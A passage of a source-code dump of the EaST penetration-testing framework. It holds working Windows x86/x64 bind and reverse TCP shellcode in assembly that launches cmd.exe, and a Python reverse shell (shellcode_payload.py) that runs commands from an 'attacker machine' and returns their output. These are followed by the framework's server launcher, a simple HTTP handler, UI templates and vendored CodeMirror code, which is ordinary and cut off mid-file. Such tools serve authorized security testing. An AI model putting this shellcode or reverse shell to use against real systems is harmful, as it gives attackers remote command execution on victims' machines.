0x3233 push 0x5f327377 push esp push 0x726774c call ebp mov eax,0x190 sub esp,eax push esp push eax push 0x6b8029 call ebp push eax push eax push eax push eax inc eax push eax inc eax push eax push 0xe0df0fea call ebp xchg edi,eax push 0x5 push 0xCONNECTBACK_IP ;host push 0xCONNECTBACK_PORT0002 ; port mov esi,esp place7: push 0x10 push esi push edi push 0x6174a599 call ebp test eax,eax je place8 dec DWORD [esi+0x8] jne place7 push 0x56a2b5f0 call ebp place8: push 0x646d63 mov ebx,esp push edi push edi push edi xor esi,esi push 0x12 pop ecx loop2: push esi loop loop2 mov WORD [esp+0x3c],0x101 lea eax,[esp+0x10] mov BYTE [eax],0x44 push esp push eax push esi push esi push esi inc esi push esi dec esi push esi push esi push ebx push esi push 0x863fcc79 call ebp mov eax,esp dec esi push esi inc esi push DWORD [eax] push 0x601d8708 call ebp mov ebx,0x56a2b5f0 push 0x9dbd95a6 call ebp cmp al,0x6 jl place9 cmp bl,0xe0 jne place9 mov ebx,0x6f721347 place9: push 0x0 push ebx call ebp ================================================ FILE: shellcodes/data/windows/x64/src/bind_tcp.asm ================================================ [BITS 64] cld and rsp, 0xFFFFFFFFFFFFFFF0 call start api_call: push r9 push r8 push rdx push rcx push rsi xor rdx, rdx mov rdx, [gs:rdx+96] mov rdx, [rdx+24] mov rdx, [rdx+32] next_mod: mov rsi, [rdx+80] movzx rcx, word [rdx+74] xor r9, r9 loop_modname: xor rax, rax lodsb cmp al, 'a' jl not_lowercase sub al, 0x20 not_lowercase: ror r9d, 13 add r9d, eax loop loop_modname push rdx push r9 mov rdx, [rdx+32] mov eax, dword [rdx+60] add rax, rdx cmp word [rax+24], 0x020B jne get_next_mod1 mov eax, dword [rax+136] test rax, rax jz get_next_mod1 add rax, rdx push rax mov ecx, dword [rax+24] mov r8d, dword [rax+32] add r8, rdx get_next_func: jrcxz get_next_mod dec rcx mov esi, dword [r8+rcx*4] add rsi, rdx xor r9, r9 loop_funcname: xor rax, rax lodsb ror r9d, 13 add r9d, eax cmp al, ah jne loop_funcname add r9, [rsp+8] cmp r9d, r10d jnz get_next_func pop rax mov r8d, dword [rax+36] add r8, rdx mov cx, [r8+2*rcx] mov r8d, dword [rax+28] add r8, rdx mov eax, dword [r8+4*rcx] add rax, rdx finish: pop r8 pop r8 pop rsi pop rcx pop rdx pop r8 pop r9 pop r10 sub rsp, 32 push r10 jmp rax get_next_mod: pop rax get_next_mod1: pop r9 pop rdx mov rdx, [rdx] jmp next_mod start: pop rbp bind_tcp: mov r14, 'ws2_32' push r14 mov r14, rsp sub rsp, 408+8 mov r13, rsp mov r12, 0x00000000BIND_PORT0002 push r12 mov r12, rsp mov rcx, r14 mov r10d, 0x0726774C call rbp mov rdx, r13 push 0x0101 pop rcx mov r10d, 0x006B8029 call rbp push rax push rax xor r9, r9 xor r8, r8 inc rax mov rdx, rax inc rax mov rcx, rax mov r10d, 0xE0DF0FEA call rbp mov rdi, rax push byte 16 pop r8 mov rdx, r12 mov rcx, rdi mov r10d, 0x6737DBC2 call rbp xor rdx, rdx mov rcx, rdi mov r10d, 0xFF38E9B7 call rbp xor r8, r8 xor rdx, rdx mov rcx, rdi mov r10d, 0xE13BEC74 call rbp mov rcx, rdi mov rdi, rax mov r10d, 0x614D6E75 call rbp add rsp, ( (408+8) + (8*4) + (32*7) ) shell: mov r8, 'cmd' push r8 push r8 mov rdx, rsp push rdi push rdi push rdi xor r8, r8 push byte 13 pop rcx push_loop: push r8 loop push_loop mov word [rsp+84], 0x0101 lea rax, [rsp+24] mov byte [rax], 104 mov rsi, rsp push rsi push rax push r8 push r8 push r8 inc r8 push r8 dec r8 mov r9, r8 mov rcx, r8 mov r10d, 0x863FCC79 call rbp xor rdx, rdx dec rdx mov ecx, dword [rsi] mov r10d, 0x601D8708 call rbp exitfunk: mov ebx, 0x0A2A1DE0 mov r10d, 0x9DBD95A6 call rbp add rsp, 40 cmp al, byte 6 jl short goodbye cmp bl, 0xE0 jne short goodbye mov ebx, 0x6F721347 goodbye: push byte 0 pop rcx mov r10d, ebx call rbp ================================================ FILE: shellcodes/data/windows/x64/src/reverse_tcp.asm ================================================ [BITS 64] cld and rsp, 0xFFFFFFFFFFFFFFF0 call start api_call: push r9 push r8 push rdx push rcx push rsi xor rdx, rdx mov rdx, [gs:rdx+96] mov rdx, [rdx+24] mov rdx, [rdx+32] next_mod: mov rsi, [rdx+80] movzx rcx, word [rdx+74] xor r9, r9 loop_modname: xor rax, rax lodsb cmp al, 'a' jl not_lowercase sub al, 0x20 not_lowercase: ror r9d, 13 add r9d, eax loop loop_modname push rdx push r9 mov rdx, [rdx+32] mov eax, dword [rdx+60] add rax, rdx cmp word [rax+24], 0x020B jne get_next_mod1 mov eax, dword [rax+136] test rax, rax jz get_next_mod1 add rax, rdx push rax mov ecx, dword [rax+24] mov r8d, dword [rax+32] add r8, rdx get_next_func: jrcxz get_next_mod dec rcx mov esi, dword [r8+rcx*4] add rsi, rdx xor r9, r9 loop_funcname: xor rax, rax lodsb ror r9d, 13 add r9d, eax cmp al, ah jne loop_funcname add r9, [rsp+8] cmp r9d, r10d jnz get_next_func pop rax mov r8d, dword [rax+36] add r8, rdx mov cx, [r8+2*rcx] mov r8d, dword [rax+28] add r8, rdx mov eax, dword [r8+4*rcx] add rax, rdx finish: pop r8 pop r8 pop rsi pop rcx pop rdx pop r8 pop r9 pop r10 sub rsp, 32 push r10 jmp rax get_next_mod: pop rax get_next_mod1: pop r9 pop rdx mov rdx, [rdx] jmp next_mod start: pop rbp reverse_tcp: mov r14, 'ws2_32' push r14 mov r14, rsp sub rsp, 408+8 mov r13, rsp mov r12, 0xCONNECTBACK_IPCONNECTBACK_PORT0002 push r12 mov r12, rsp mov rcx, r14 mov r10d, 0x0726774C call rbp mov rdx, r13 push 0x0101 pop rcx mov r10d, 0x006B8029 call rbp push rax push rax xor r9, r9 xor r8, r8 inc rax mov rdx, rax inc rax mov rcx, rax mov r10d, 0xE0DF0FEA call rbp mov rdi, rax push byte 16 pop r8 mov rdx, r12 mov rcx, rdi mov r10d, 0x6174A599 call rbp add rsp, ( (408+8) + (8*4) + (32*4) ) shell: mov r8, 'cmd' push r8 push r8 mov rdx, rsp push rdi push rdi push rdi xor r8, r8 push byte 13 pop rcx push_loop: push r8 loop push_loop mov word [rsp+84], 0x0101 lea rax, [rsp+24] mov byte [rax], 104 mov rsi, rsp push rsi push rax push r8 push r8 push r8 inc r8 push r8 dec r8 mov r9, r8 mov rcx, r8 mov r10d, 0x863FCC79 call rbp xor rdx, rdx dec rdx mov ecx, dword [rsi] mov r10d, 0x601D8708 call rbp exitfunk: mov ebx, 0x0A2A1DE0 mov r10d, 0x9DBD95A6 call rbp add rsp, 40 cmp al, byte 6 jl short goodbye cmp bl, 0xE0 jne short goodbye mov ebx, 0x6F721347 goodbye: push byte 0 pop rcx mov r10d, ebx call rbp ================================================ FILE: shellcodes/shellcode.py ================================================ class Shellcode: def __init__(self, os_target='', os_target_arch='', connectback_ip='localhost', connectback_port=5555, badchars=['\x00']): self.OS_TARGET = os_target self.OS_TARGET_ARCH = os_target_arch self.CONNECTBACK_IP = connectback_ip self.CONNECTBACK_PORT = connectback_port self.BADCHARS = badchars return def get_shellcode(self, inline=False): return '' def make_inline(self, payload): payload = payload.replace('\t',' ') payload = payload.replace('\r',' ') payload = payload.replace('\n',' ') return payload ================================================ FILE: shellcodes/shellcode_payload.py ================================================ #!/usr/bin/python import socket,subprocess HOST = '127.0.0.1' # The remote host PORT = 5555 # The same port as used by the server s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # connect to attacker machine s.connect((HOST, PORT)) # send we are connected s.send('[*] Connection Established!') # start loop while 1: # recieve shell command data = s.recv(1024) print data # if its quit, then break out and close socket if data == "quit": break # do shell command proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) # read output stdout_value = proc.stdout.read() + proc.stderr.read() # send output to attacker s.send(stdout_value) # close socket s.close() ================================================ FILE: start.py ================================================ import os, sys import threading import logging import BaseHTTPServer from ui.httpd import HTTPRequestHandler import subprocess import zipfile from shutil import rmtree import argparse import importlib import asyncore from core.WebSocketServer import WebSocketServer sys.path.append("./core") sys.path.append("./core/helpers/java") sys.path.append("./core/helpers/archieve") sys.path.append("./shellcodes") VERSION = "2.0.0" class FrameworkStarter: def __init__(self, host="localhost", ws_port=49999, port=80): self.host = host self.port = port self.ws_port = ws_port self.platform = "win" if os.name == "nt" else "other" self.logger = None self.prepare_logging(True) self.prepare_environment() self.dependencies = ["setuptools", "six", "websocket"] self.install_missing_deps() self.parse_args() def prepare_logging(self, verbose): if not os.path.exists("Logs"): os.makedirs("Logs") self.logger = logging.getLogger() self.logger.setLevel(logging.INFO) formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s') fh = logging.FileHandler('Logs/commonLog.log') fh.setLevel(logging.INFO) fh.setFormatter(formatter) self.logger.addHandler(fh) if verbose: ch = logging.StreamHandler() ch.setLevel(logging.WARNING) ch.setFormatter(formatter) self.logger.addHandler(ch) def prepare_environment(self): root_dir = os.getcwd() core = os.path.join(root_dir, "core") shellcodes = os.path.join(root_dir, "shellcodes") paths = [root_dir, core, shellcodes] os.environ.data["PYTHONPATH"] = ";".join(paths) if self.platform == "win" else ":".join(paths) def install_missing_deps(self): """ Check and install missing dependencies """ # # checking for setup_tools # try: # imported = importlib.import_module("easy_install") # except ImportError: # print("Installing setup-tools...") # self. is_there_deps = False for module in self.dependencies: try: imported = importlib.import_module(module) except ImportError: is_there_deps = True print("Module %s will be installed" % module) self.install_python_lib(module) if is_there_deps: print("All dependencies installed") os.execv(sys.executable, [sys.executable] + sys.argv) def install_python_lib(self, relative_path): modules_path = os.path.join(os.getcwd(), "3rdPartyTools", "") zipOb = zipfile.ZipFile(modules_path + relative_path+'.zip') zipOb.extractall(modules_path + relative_path) module_path = ''.join(["", str(os.getcwd()), "/3rdPartyTools/"+relative_path+"/"]) args = [sys.executable, '%ssetup.py' % module_path, 'install'] proc = subprocess.Popen(args, cwd=module_path, shell=False) proc.communicate() message = "%s installed successfully" % relative_path print(message) rmtree(modules_path + relative_path) def parse_args(self): parser = argparse.ArgumentParser() parser.add_argument('-p', dest='port', default=80, type=int, help='Webserver port') parser.add_argument('--all-interfaces', dest='use_default_route', help='Use 0.0.0.0 as webserver IP', action='store_const', const=True, default=False) args = parser.parse_args() if args.port: self.port = args.port if args.use_default_route: self.host = "0.0.0.0" return args def start_servers(self): print("Starting servers...") ws_server = WebSocketServer(self.host, self.ws_port, 2000) http_server = BaseHTTPServer.HTTPServer((self.host, self.port), HTTPRequestHandler) th2 = threading.Thread(target=http_server.serve_forever) threads = [th2] for t in threads: t.daemon = True t.start() print("GUI available @ %s:%s" % (self.host, self.port)) while len(threads) > 0: try: # Join all threads using a timeout so it doesn't block # Filter out threads which have been joined or are None asyncore.loop() threads = [t.join(1000) for t in threads if t is not None and t.isAlive()] except KeyboardInterrupt: ws_server.kill_all_processes() ws_server.ExitNow('WS Server is quitting!') http_server.shutdown() os._exit(1) if __name__ == "__main__": runner = FrameworkStarter() runner.start_servers() ================================================ FILE: ui/__init__.py ================================================ ================================================ FILE: ui/css/codemirror.css ================================================ /* BASICS */ .CodeMirror { /* Set height, width, borders, and global font properties here */ font-family: monospace; height: 300px; } .CodeMirror-scroll { /* Set scrolling behaviour here */ overflow: auto; } /* PADDING */ .CodeMirror-lines { padding: 4px 0; /* Vertical padding around content */ } .CodeMirror pre { padding: 0 4px; /* Horizontal padding of content */ } .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler { background-color: white; /* The little square between H and V scrollbars */ } /* GUTTER */ .CodeMirror-gutters { border-right: 1px solid #ddd; background-color: #f7f7f7; white-space: nowrap; } .CodeMirror-linenumbers {} .CodeMirror-linenumber { padding: 0 3px 0 5px; min-width: 20px; text-align: right; color: #999; -moz-box-sizing: content-box; box-sizing: content-box; } .CodeMirror-guttermarker { color: black; } .CodeMirror-guttermarker-subtle { color: #999; } /* CURSOR */ .CodeMirror div.CodeMirror-cursor { border-left: 1px solid black; } /* Shown when moving in bi-directional text */ .CodeMirror div.CodeMirror-secondarycursor { border-left: 1px solid silver; } .CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursor { width: auto; border: 0; background: #7e7; } .CodeMirror.cm-keymap-fat-cursor div.CodeMirror-cursors { z-index: 1; } .cm-animate-fat-cursor { width: auto; border: 0; -webkit-animation: blink 1.06s steps(1) infinite; -moz-animation: blink 1.06s steps(1) infinite; animation: blink 1.06s steps(1) infinite; } @-moz-keyframes blink { 0% { background: #7e7; } 50% { background: none; } 100% { background: #7e7; } } @-webkit-keyframes blink { 0% { background: #7e7; } 50% { background: none; } 100% { background: #7e7; } } @keyframes blink { 0% { background: #7e7; } 50% { background: none; } 100% { background: #7e7; } } /* Can style cursor different in overwrite (non-insert) mode */ div.CodeMirror-overwrite div.CodeMirror-cursor {} .cm-tab { display: inline-block; } .CodeMirror-ruler { border-left: 1px solid #ccc; position: absolute; } /* DEFAULT THEME */ .cm-s-default .cm-keyword {color: #708;} .cm-s-default .cm-atom {color: #219;} .cm-s-default .cm-number {color: #164;} .cm-s-default .cm-def {color: #00f;} .cm-s-default .cm-variable, .cm-s-default .cm-punctuation, .cm-s-default .cm-property, .cm-s-default .cm-operator {} .cm-s-default .cm-variable-2 {color: #05a;} .cm-s-default .cm-variable-3 {color: #085;} .cm-s-default .cm-comment {color: #a50;} .cm-s-default .cm-string {color: #a11;} .cm-s-default .cm-string-2 {color: #f50;} .cm-s-default .cm-meta {color: #555;} .cm-s-default .cm-qualifier {color: #555;} .cm-s-default .cm-builtin {color: #30a;} .cm-s-default .cm-bracket {color: #997;} .cm-s-default .cm-tag {color: #170;} .cm-s-default .cm-attribute {color: #00c;} .cm-s-default .cm-header {color: blue;} .cm-s-default .cm-quote {color: #090;} .cm-s-default .cm-hr {color: #999;} .cm-s-default .cm-link {color: #00c;} .cm-negative {color: #d44;} .cm-positive {color: #292;} .cm-header, .cm-strong {font-weight: bold;} .cm-em {font-style: italic;} .cm-link {text-decoration: underline;} .cm-s-default .cm-error {color: #f00;} .cm-invalidchar {color: #f00;} /* Default styles for common addons */ div.CodeMirror span.CodeMirror-matchingbracket {color: #0f0;} div.CodeMirror span.CodeMirror-nonmatchingbracket {color: #f22;} .CodeMirror-matchingtag { background: rgba(255, 150, 0, .3); } .CodeMirror-activeline-background {background: #e8f2ff;} /* STOP */ /* The rest of this file contains styles related to the mechanics of the editor. You probably shouldn't touch them. */ .CodeMirror { line-height: 1; position: relative; overflow: hidden; background: white; color: black; } .CodeMirror-scroll { /* 30px is the magic margin used to hide the element's real scrollbars */ /* See overflow: hidden in .CodeMirror */ margin-bottom: -30px; margin-right: -30px; padding-bottom: 30px; height: 100%; outline: none; /* Prevent dragging from highlighting the element */ position: relative; -moz-box-sizing: content-box; box-sizing: content-box; } .CodeMirror-sizer { position: relative; border-right: 30px solid transparent; -moz-box-sizing: content-box; box-sizing: content-box; } /* The fake, visible scrollbars. Used to force redraw during scrolling before actuall scrolling happens, thus preventing shaking and flickering artifacts. */ .CodeMirror-vscrollbar, .CodeMirror-hscrollbar, .CodeMirror-scrollbar-filler, .CodeMirror-gutter-filler { position: absolute; z-index: 6; display: none; } .CodeMirror-vscrollbar { right: 0; top: 0; overflow-x: hidden; overflow-y: scroll; } .CodeMirror-hscrollbar { bottom: 0; left: 0; overflow-y: hidden; overflow-x: scroll; } .CodeMirror-scrollbar-filler { right: 0; bottom: 0; } .CodeMirror-gutter-filler { left: 0; bottom: 0; } .CodeMirror-gutters { position: absolute; left: 0; top: 0; padding-bottom: 30px; z-index: 3; } .CodeMirror-gutter { white-space: normal; height: 100%; -moz-box-sizing: content-box; box-sizing: content-box; padding-bottom: 30px; margin-bottom: -32px; display: inline-block; /* Hack to make IE7 behave */ *zoom:1; *display:inline; } .CodeMirror-gutter-elt { position: absolute; cursor: default; z-index: 4; } .CodeMirror-lines { cursor: text; min-height: 1px; /* prevents collapsing before first draw */ } .CodeMirror pre { /* Reset some styles that the rest of the page might have set */ -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; border-width: 0; background: transparent; font-family: inherit; font-size: inherit; margin: 0; white-space: pre; word-wrap: normal; line-height: inherit; color: inherit; z-index: 2; position: relative; overflow: visible; } .CodeMirror-wrap pre { word-wrap: break-word; white-space: pre-wrap; word-break: normal; } .CodeMirror-linebackground { position: absolute; left: 0; right: 0; top: 0; bottom: 0; z-index: 0; } .CodeMirror-linewidget { position: relative; z-index: 2; overflow: auto; } .CodeMirror-widget {} .CodeMirror-wrap .CodeMirror-scroll { overflow-x: hidden; } .CodeMirror-measure { position: absolute; width: 100%; height: 0; overflow: hidden; visibility: hidden; } .CodeMirror-measure pre { position: static; } .CodeMirror div.CodeMirror-cursor { position: absolute; border-right: none; width: 0; } div.CodeMirror-cursors { visibility: hidden; position: relative; z-index: 3; } .CodeMirror-focused div.CodeMirror-cursors { visibility: visible; } .CodeMirror-selected { background: #d9d9d9; } .CodeMirror-focused .CodeMirror-selected { background: #d7d4f0; } .CodeMirror-crosshair { cursor: crosshair; } .cm-searching { background: #ffa; background: rgba(255, 255, 0, .4); } /* IE7 hack to prevent it from returning funny offsetTops on the spans */ .CodeMirror span { *vertical-align: text-bottom; } /* Used to force a border model for a node */ .cm-force-border { padding-right: .1px; } @media print { /* Hide the cursor when printing */ .CodeMirror div.CodeMirror-cursors { visibility: hidden; } } /* Help users use markselection to safely style text background */ span.CodeMirror-selectedtext { background: none; } ================================================ FILE: ui/css/main.css ================================================ * { box-sizing: border-box; } .text-white { color: white; } .text-danger { color: #a94442 !important; } .modal { display: block; } .modal-transition { transition: all .6s ease; } .modal-leave { border-radius: 1px !important; } .modal-transition .modal-dialog, .modal-transition .modal-backdrop { transition: all .5s ease; } .modal-enter .modal-dialog, .modal-leave .modal-dialog { opacity: 0; transform: translateY(-30%); } .modal-enter .modal-backdrop, .modal-leave .modal-backdrop { opacity: 0; } .modal-full { width: 90vw; } .modal-full img { width: 100%; } .modal-header { background-color: #222; color: #ccc; } .closeTab { line-height: 100%; position: absolute; right: 0; text-align: center; top: 0; width: 15px; border-radius: 50%; cursor: pointer; } table input[type=checkbox] { margin-bottom: 10px; } pre { white-space: pre-wrap; word-wrap: break-word; word-break: keep-all; } .module-failed { background-color: rgb(255, 190, 190) !important; } .module-succeeded { background-color: rgb(186, 220, 180) !important; } .scrollable-panel { overflow-y: auto; white-space: pre-wrap; word-wrap: break-word; word-break: keep-all; } .scrollable-panel pre { overflow-y: hidden; } .tab-widget { height: 90vh; } .half-height { height: 40% !important; } .full-height { height: 80% !important; } .logView { padding-left: 10px; overflow: auto; } .CodeMirror { border: 1px solid #eee; height: 800px; max-height: 800px; } .listener-state-indicator { position: relative; height: 15px; width: 15px; background-color: #555; display: inline-flex; border-radius: 50%; box-shadow: 0px 0px 0px 3px #fff inset; top: 3px; right: 10px; margin-right: 0px; } .listener-connected { background-color: #49c749; } .listener-disconnected { background-color: red; } .tabcontrol2 .tabs li:first-child { margin-left: 0px; } .pre-scrollable { height: 60%; overflow-y: scroll; } .logItem pre { display: block; padding: 0px 0px; margin: 0px 0px; font-size: 13px; /* line-height: 1.42857143; */ color: #333; word-break: break-all; word-wrap: break-word; background-color: #eee; border: 0px solid #ccc; } .logItem img { width: 150px; border: 1px solid grey; border-radius: 10px; box-shadow: 3px 3px 10px; } .tab-widget .panel-body { border-left: 1px solid grey; border-right: 1px solid grey; border-bottom: 1px solid grey; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; } .left-panel { width: 100% !important; height: 40% !important; overflow: auto; } #optionsDialog table { width: 100%; } .treeview, .treeview ul, .treeview li { position: relative; } .treeview li { white-space: nowrap; } .treeview .glyphicon { top: 0px; } .treeview ul { list-style: none; padding-left: 32px; } .treeview>ul { padding-left: 10px; } .treeview ul, .treeview li { cursor: pointer; padding-bottom: 5px; -webkit-touch-callout: none; -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } .treeView ul>li:hover { background-color: #f9f9f9; } .treeview .hidden { display: none; } .form-group .form-control-feedback { pointer-events: initial } .pointer { cursor: pointer; } .nav-tabs>li>a { margin-right: 0px; } .nav-tabs>li { border-top-left-radius: 5px; border-top-right-radius: 5px; } .nav-tabs>li.active { box-shadow: 1px 2px 10px 2px black; z-index: 1; } [v-cloak] { display: none; } .service-messages-container { display: none; } .popover { max-width: none; } ================================================ FILE: ui/httpd.py ================================================ """Simple HTTP Server. This module builds on BaseHTTPServer by implementing the standard GET and HEAD requests in a fairly straightforward manner. """ __version__ = "0.6" __all__ = ["SimpleHTTPRequestHandler"] import os import posixpath import BaseHTTPServer import urllib import cgi import sys import shutil import mimetypes import threading try: from cStringIO import StringIO except ImportError: from StringIO import StringIO class HTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): """Simple HTTP request handler with GET and HEAD commands. This serves files from the current directory and any of its subdirectories. The MIME type for files is determined by calling the .guess_type() method. The GET and HEAD requests are identical except that the HEAD request omits the actual contents of the file. """ server_version = "SimpleHTTP/" + __version__ def do_GET(self): """Serve a GET request.""" f = self.send_head() if f: self.copyfile(f, self.wfile) f.close() def do_HEAD(self): """Serve a HEAD request.""" f = self.send_head() if f: f.close() def log_message(self, format, *args): return def send_head(self): """Common code for GET and HEAD commands. This sends the response code and MIME headers. Return value is either a file object (which has to be copied to the outputfile by the caller unless the command was HEAD, and must be closed by the caller under all circumstances), or None, in which case the caller has nothing further to do. """ path = self.translate_path("ui"+self.path) f = None if os.path.isdir(path): if not self.path.endswith('/'): # redirect browser - doing basically what apache does self.send_response(301) self.send_header("Location", self.path + "/") self.end_headers() return None for index in "index.html", "index.htm": index = os.path.join(path, index) if os.path.exists(index): path = index break else: return self.list_directory(path) ctype = self.guess_type(path) try: # Always read in binary mode. Opening files in text mode may cause # newline translations, making the actual size of the content # transmitted *less* than the content-length! f = open(path, 'rb') except IOError: self.send_error(404, "File not found") return None self.send_response(200) self.send_header("Content-type", ctype) fs = os.fstat(f.fileno()) self.send_header("Content-Length", str(fs[6])) self.send_header("Last-Modified", self.date_time_string(fs.st_mtime)) self.end_headers() return f def list_directory(self, path): """Helper to produce a directory listing (absent index.html). Return value is either a file object, or None (indicating an error). In either case, the headers are sent, making the interface the same as for send_head(). """ try: list = os.listdir(path) except os.error: self.send_error(404, "No permission to list directory") return None list.sort(key=lambda a: a.lower()) f = StringIO() displaypath = cgi.escape(urllib.unquote(self.path)) f.write('') f.write("\nDirectory listing for %s\n" % displaypath) f.write("\n

Directory listing for %s

\n" % displaypath) f.write("
\n\n
\n\n\n") length = f.tell() f.seek(0) self.send_response(200) encoding = sys.getfilesystemencoding() self.send_header("Content-type", "text/html; charset=%s" % encoding) self.send_header("Content-Length", str(length)) self.end_headers() return f def translate_path(self, path): """Translate a /-separated PATH to the local filename syntax. Components that mean special things to the local file system (e.g. drive or directory names) are ignored. (XXX They should probably be diagnosed.) """ # abandon query parameters path = path.split('?',1)[0] path = path.split('#',1)[0] path = posixpath.normpath(urllib.unquote(path)) words = path.split('/') words = filter(None, words) path = os.getcwd() for word in words: drive, word = os.path.splitdrive(word) head, word = os.path.split(word) if word in (os.curdir, os.pardir): continue path = os.path.join(path, word) return path def copyfile(self, source, outputfile): """Copy all data between two file objects. The SOURCE argument is a file object open for reading (or anything with a read() method) and the DESTINATION argument is a file object open for writing (or anything with a write() method). The only reason for overriding this would be to change the block size or perhaps to replace newlines by CRLF -- note however that this the default server uses this to copy binary data as well. """ shutil.copyfileobj(source, outputfile) def guess_type(self, path): """Guess the type of a file. Argument is a PATH (a filename). Return value is a string of the form type/subtype, usable for a MIME Content-type header. The default implementation looks the file's extension up in the table self.extensions_map, using application/octet-stream as a default; however it would be permissible (if slow) to look inside the data to make a better guess. """ base, ext = posixpath.splitext(path) if ext in self.extensions_map: return self.extensions_map[ext] ext = ext.lower() if ext in self.extensions_map: return self.extensions_map[ext] else: return self.extensions_map[''] if not mimetypes.inited: mimetypes.init() # try to read system mime.types extensions_map = mimetypes.types_map.copy() extensions_map.update({ '': 'application/octet-stream', # Default '.py': 'text/plain', '.c': 'text/plain', '.h': 'text/plain', }) def startHttpServer(HandlerClass = HTTPRequestHandler, ServerClass = BaseHTTPServer.HTTPServer): BaseHTTPServer.test(HandlerClass, ServerClass) if __name__ == '__main__': startHttpServer() ================================================ FILE: ui/index.html ================================================ EaST Framework

Edit {{title}}


{{moduleName}}

Image

================================================ FILE: ui/index.jade ================================================ html head meta(charset="utf-8") title EaST Framework script(src="js/jquery.min.js") script(src="js/lodash.min.js") script(src="js/rsvp.js") script(src="js/metro.min.js") script(src="js/bootstrap.min.js") script(src="js/toastr.min.js") script(src="js/vue.min.js") script(src="js/codemirror.js") script(src="mode/python/python.js") script(src="js/guiCommands.js") script(src="js/serverCommands.js") script(src="js/ws.js") script(src="js/components.js") script(src="js/main.js") link(rel="stylesheet", type="text/css", href="css/bootstrap.min.css") link(rel="stylesheet", type="text/css", href="css/metro.min.css") link(rel="stylesheet", type="text/css", href="css/metro-schemes.min.css") link(rel="stylesheet", type="text/css", href="css/metro-colors.min.css") link(rel="stylesheet", type="text/css", href="css/metro-icons.min.css") link(rel="stylesheet", type="text/css", href="css/metro-rtl.min.css") link(rel="stylesheet", type="text/css", href="css/toastr.min.css") link(rel="stylesheet", type="text/css", href="css/codemirror.css") link(rel="stylesheet", type="text/css", href="css/main.css") body(style="position: absolute; height: 100vh; width: 100vw") #editorDialog re-modal(:show.sync="show", @ok="save", :large="true", :okText="'Saffffve'") textarea#editor div(slot="header").text-center h4 Edit {{title}} #optionsDialog re-modal(:show.sync="show", @ok="ok", okText="Run") table tr td label Use listener: td input(type="checkbox", v-model="useListener") tr(v-for="option in options", title="{{option.value.description || ''}}") td label {{option.option}}: td input.form-control(v-show="option.value.type == 'int'",type="number", v-model="option.value.value") input.form-control(v-show="option.value.type == 'string'",type="", v-model="option.value.value") input(v-show="option.value.type == 'bool'",type="checkbox", v-model="option.value.value") select.form-control(v-show="option.value.type == 'list'", v-model="option.value.selected") option(v-for="opt in option.value.options", :selected="opt == option.value.selected") {{opt}} div(slot="header").text-center h4 {{moduleName}} #imagePopup re-modal(:show.sync="show", :full='true') img(:src="image || '/'") div(slot="header").text-center h4 Image div(slot="footer") button.btn.btn-default(type="button", :class="cancelClass", @click="show=false") Close #mainVue nav.navbar.navbar-inverse .container-fluid .navbar-header a.navbar-brand(href="#", :class="{'fg-red': !serverEnabled}") EaST Framework {{ version }} ul.navbar-form.navbar-right .form-group label.fg-white Target: input.form-control(placeholder="127.0.0.1:80", v-model="target") .container-fluid .row .col-md-4 tree-view(:model.sync="modules").fg-white re-module-info(:module.sync="selectedModule") .col-md-8 tab-view(:tabs.sync="tabs") //- .row //- ul.col-md-4 //- .panel.panel-primary.tree-widget#tree //- .panel-heading.text-center //- h4 Modules //- table //- tr //- td //- button.btn.btn-default(title="Run selected module" @click="runSelectedModule()") //- i.fa.fa-play //- td //- button.btn.btn-default(title="Edit selected module" @click="editSelectedModule()") //- i.fa.fa-edit //- .panel-body(style="height:70%;") //- tree-view(:model="treeData") //- .panel.panel-primary.info-widget#info //- .panel-heading.text-center //- h4 Info //- .panel-body.scrollable-panel //- b Module name: //- | {{name}} //- br //- b Description: //- | {{description}} //- br //- b Vendor: //- a(href="{{vendor}}" target="_blank") {{vendor}} //- br //- b CVE: //- | {{cve}} //- br //- b Download link: //- br //- a(href="{{downloadLink}}" target="_blank") {{downloadLink}} //- br //- b Links: //- li(v-for="link in links" v-show="link") //- a(href="{{link}}" target="_blank") {{link}} //- br //- b Notes: //- pre.pre-scrollable {{notes}} //- ul.col-md-8#tabs //- tab-view(:tabs="tabsData") ================================================ FILE: ui/js/codemirror.js ================================================ // CodeMirror, copyright (c) by Marijn Haverbeke and others // Distributed under an MIT license: http://codemirror.net/LICENSE // This is CodeMirror (http://codemirror.net), a code editor // implemented in JavaScript on top of the browser's DOM. // // You can find some technical background for some of the code below // at http://marijnhaverbeke.nl/blog/#cm-internals . (function(mod) { if (typeof exports == "object" && typeof module == "object") // CommonJS module.exports = mod(); else if (typeof define == "function" && define.amd) // AMD return define([], mod); else // Plain browser env this.CodeMirror = mod(); })(function() { "use strict"; // BROWSER SNIFFING // Kludges for bugs and behavior differences that can't be feature // detected are enabled based on userAgent etc sniffing. var gecko = /gecko\/\d/i.test(navigator.userAgent); // ie_uptoN means Internet Explorer version N or lower var ie_upto10 = /MSIE \d/.test(navigator.userAgent); var ie_11up = /Trident\/(?:[7-9]|\d{2,})\..*rv:(\d+)/.exec(navigator.userAgent); var ie = ie_upto10 || ie_11up; var ie_version = ie && (ie_upto10 ? document.documentMode || 6 : ie_11up[1]); var webkit = /WebKit\//.test(navigator.userAgent); var qtwebkit = webkit && /Qt\/\d+\.\d+/.test(navigator.userAgent); var chrome = /Chrome\//.test(navigator.userAgent); var presto = /Opera\//.test(navigator.userAgent); var safari = /Apple Computer/.test(navigator.vendor); var khtml = /KHTML\//.test(navigator.userAgent); var mac_geMountainLion = /Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent); var phantom = /PhantomJS/.test(navigator.userAgent); var ios = /AppleWebKit/.test(navigator.userAgent) && /Mobile\/\w+/.test(navigator.userAgent); // This is woefully incomplete. Suggestions for alternative methods welcome. var mobile = ios || /Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent); var mac = ios || /Mac/.test(navigator.platform); var windows = /win/i.test(navigator.platform); var presto_version = presto && navigator.userAgent.match(/Version\/(\d*\.\d*)/); 